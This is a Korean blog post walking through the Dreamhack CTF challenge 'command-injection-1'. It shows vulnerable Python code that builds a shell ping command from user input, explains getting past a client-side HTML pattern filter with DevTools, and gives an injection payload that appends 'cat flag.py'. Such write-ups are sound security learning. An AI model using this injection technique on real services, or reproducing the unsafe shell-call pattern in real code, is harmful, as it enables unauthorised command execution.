IT/정보보안

[Dreamhack] command-injection-1 문제 풀이

읽어보고서 2025. 5. 1. 02:08
반응형

 

 

 

💻 "드림핵의 퍼즐들은 나의 손끝에서 해체된다..."
"디지털 전장에 소환된 나는, 이제 문제를 사냥할 뿐이다."

 

 

🎯 command-injection-1 문제 시작해보자!

 


문제 설명

특정 Host에 ping 패킷을 보내는 서비스입니다.
Command Injection을 통해 플래그를 획득하세요. 

플래그는 flag.py에 있습니다.


 

 

🔍 app.py 코드 분석

 

host = request.form.get('host')
cmd = f'ping -c 3 "{host}"'
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)

 

✅ 사용자 입력이 쉘 명령어에 직접 삽입됨

host 값이 "..." 안에 들어가면서도, 쉘은 "을 닫고 다음 명령을 이어붙일 수 있음

/bin/sh -c로 명령을 실행하므로, 입력값 뒤에 &&, |, ; 등을 붙여도 전부 실행됨

 

 

🚀 문제풀이 과정

 

1️⃣ 정상 입력

입력: 8.8.8.8
→ 명령어: ping -c 3 "8.8.8.8"
→ 정상 수행

 

 

2️⃣ HTML 필터 우회

 

HTML form에서 input에는 정규표현식 필터가 걸려 있음

 

 

pattern="[A-Za-z0-9.]{15,20}"

 

 

하지만... <input>에 정규식 필터가 있지만, 개발자 도구(DevTools)로 pattern 속성 제거 가능!

 

 

3️⃣ 페이로드 삽입

 

8.8.8.8" && cat flag.py && echo "

 

"을 닫고 cat flag.py를 붙이는 구조

ping -c 3 "8.8.8.8" && cat flag.py && echo "가 실행됨

 

4️⃣ 결과 페이지에서 플래그 출력

플래그 출력!

 

필터 우회부터 DevTools 조작, 다양한 명령어 페이로드까지 진짜 CTF 실전 감성으로 잘 짜여진 문제였어 🔥

 

 

반응형